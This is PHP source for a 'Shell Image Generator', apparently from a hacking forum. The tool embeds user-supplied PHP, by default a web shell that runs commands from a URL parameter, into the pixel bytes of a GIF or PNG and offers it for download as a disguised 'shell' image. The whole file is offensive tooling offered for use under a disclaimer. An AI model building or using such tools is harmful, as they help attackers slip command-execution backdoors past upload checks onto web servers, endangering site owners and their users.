SHELL IMAGE GENERATOR

<?php

/**
* @author BlueBoyz
* @copyright 2013 ExploreCrew.Org
* @fixed Jei.Xcrew, and you..
* @filesource http://forum.explorecrew.org/index.php?action=forum
*
* We hate Ripper!! Please don't remove or change original author name of posted article/code
* fixed it add your nick
*/

/**
* Any consequences in views of the use of scripts, techniques, codes, tutorials,
* and everything imaginable on this website are purely the responsibility of the user,
* NOT ExploreCrew or OTHER FORUM of posted this article/code.
* If you agree about this, continue reading.
* If you do not agree, please leave.
**/

session_start();

if(isset($_POST['scripts']))
{
if((strlen($_POST['scripts']) > 20) && (strlen($_POST['scripts']) < 6000))
{
@$_SESSION["scripts"] = base64_encode(@$_POST['scripts']);
@$_SESSION["image"] = $_POST['image'];
header("Location: ?set");
}else{
die('
<script type="text/javascript">
alert("minlength:20 and maxlength:6000")
window.location = "?";
</script>'
);
}
}

if(isset($_POST['reset']))
{
$_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
$_SESSION["image"] = "jpg";
header("Location: ?null");
}

/**
if((empty($_COOKIE['scripts'])) || ($_COOKIE['scripts'] == '') || ($_COOKIE['scripts'] == null))
{
$_SESSION["scripts"] = base64_encode("<?php\r\n#min:20 max:6000 \r\nsystem(\$_GET['x']) ;\r\n?>");
$_SESSION["image"] = "jpg";
header("Location: ?null");
}
*/
$string = @base64_decode(@$_SESSION['scripts']);
$imageExt = trim(strtolower(@$_SESSION['image']));

if(isset($_GET['preview']))
{
$string = "\r\n".$string."\r\n<!-- \r\n\r\nShell Image Generator by Forum.ExploreCrew.Org\r\n\r\n";
;
$px = ((int)(strlen($string) / 3));
$arr_string = str_split($string,$px);
$im = @imagecreate(($px),($px)) or die("Cannot Initialize new GD image stream");
$arrString = array();
for($h = 0; $h < ($px); $h++)
{
$arrString = @$arr_string[$h];
$current = 0;
for($w = 0; $w < ($px); $w++)
{
if((@$arrString[$current + 0] != '') && (@$arrString[$current + 1] != '') && (@
$arrString[$current + 2] != ''))
{
$color_r = dechex(ord(@$arrString[$current + 0]));
$color_g = dechex(ord(@$arrString[$current + 1]));
$color_b = dechex(ord(@$arrString[$current + 2]));
$current = $current + 3;

$color = @imagecolorallocate($im,"0x$color_r","0x$color_g","0x$color_b");
imagesetpixel($im,$w,$h,$color);
}
}
}

//header("Content-Type: image/png");
switch(trim($imageExt))
{
case "gif":
imagegif($im,null);
break;
case "png":
imagepng($im,null);
break;
}

if(isset($_GET['download']))
{
header('Content-Disposition: attachment; filename="shell.'.$imageExt.'"');
}

imagedestroy($im);
die();
}
$download = sha1(rand(0,999)).'.'.$imageExt;
echo '<!DOCTYPE HTML>';
echo '<html>';
echo '<head>';
echo '<meta http-equiv="content-type" content="text/html" />';
echo '<meta name="author" content="ExploreCrew UnderGround" />';
echo '<title>SHELL IMAGE GENERATOR</title>';
echo '<style type="text/css">';
echo 'article{color:#aaa;margin: auto; position: relative;width:80%; border: 1px solid #eee;padding: 5px;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
echo 'div textarea,div select{ float: right;width:60%; font-size:1.0em;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div input{ text-shadow: #333 0px 1px;color:#aaa; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div input:hover{ text-shadow: #333 0px 1px;color:#000; background: -moz-linear-gradient(#f8f8f8, #9d9e9d);background: -webkit-linear-gradient(#f8f8f8, #9d9e9d);background: -o-linear-gradient(#f8f8f8, #9d9e9d);float: right;width:25%; font-size:1.0em; box-shadow: 0px 2px 2px;-moz-box-shadow: 0px 2px 2px;-o-box-shadow: 0px 2px 2px;-webkit-box-shadow: 0px 2px 2px; border: 1px solid #ddd;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px; margin:3px;}';
echo 'div label{ color:#aaa;float: left;display:block; height:20px; font-size:1.0em;width:auto;}';
echo 'fieldset { background-color: #f8f8f8;width:auto;height:auto;border: 1px solid #eee;border-radius: 3px;-o-border-radius: 3px;-webkit-border-radius: 3px;-moz-border-radius: 3px;}';
echo 'textarea {height:125px;}';
echo 'legend {color:#333;text-shadow: #888 0px 1px;}';
echo 'form div {height:20px; clear:both; margin-bottom:6px; padding:5px 0px;}';
echo 'h3,h5 {text-align:center}';
echo '</style>';
echo '</head>';
echo '<body>';
echo '<article>';
echo '<h3>..:: SHELL IMAGE GENERATOR ::..</h3>';
echo '<h5>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew</a></h5>';
echo '<form method="post" action="" enctype="multipart/form-data">';
echo '<fieldset>';
echo '<legend>SHELL</legend>';
echo '<div><label for="scripts">Yours Scripts</label><textarea name="scripts" id="scripts" maxlength="6000">'.
htmlentities($string).'</textarea></div>';
echo '<div>';
echo '<label for="image">Mime Type</label>';
echo '<select size="1" name="image">';
echo '<option value="gif">image/gif</option>';
echo '<option value="png">image/png</option>';
echo '</select>';
echo '</div>';
echo '<div><input type="submit" value="Reset" name="reset" id="generate"/><input type="submit" value="Generate" name="generate" id="generate"/></div>';
echo '</fieldset>';
echo '</form>';
echo '<fieldset>';
echo '<legend>YOUR SHELL IMAGE</legend>';
echo '<div></div>';
echo '<div><a href="?preview='.$download.'&download">Download</a></div>';
echo '</fieldset>';
echo '<small>Free Tool by <a href="http://forum.explorecrew.org">Viva ExploreCrew, Coded by BlueBoyz, Fixed Jei.Free.</a><small>';
echo '</article>';

echo '</body>';
echo '</html>';
?>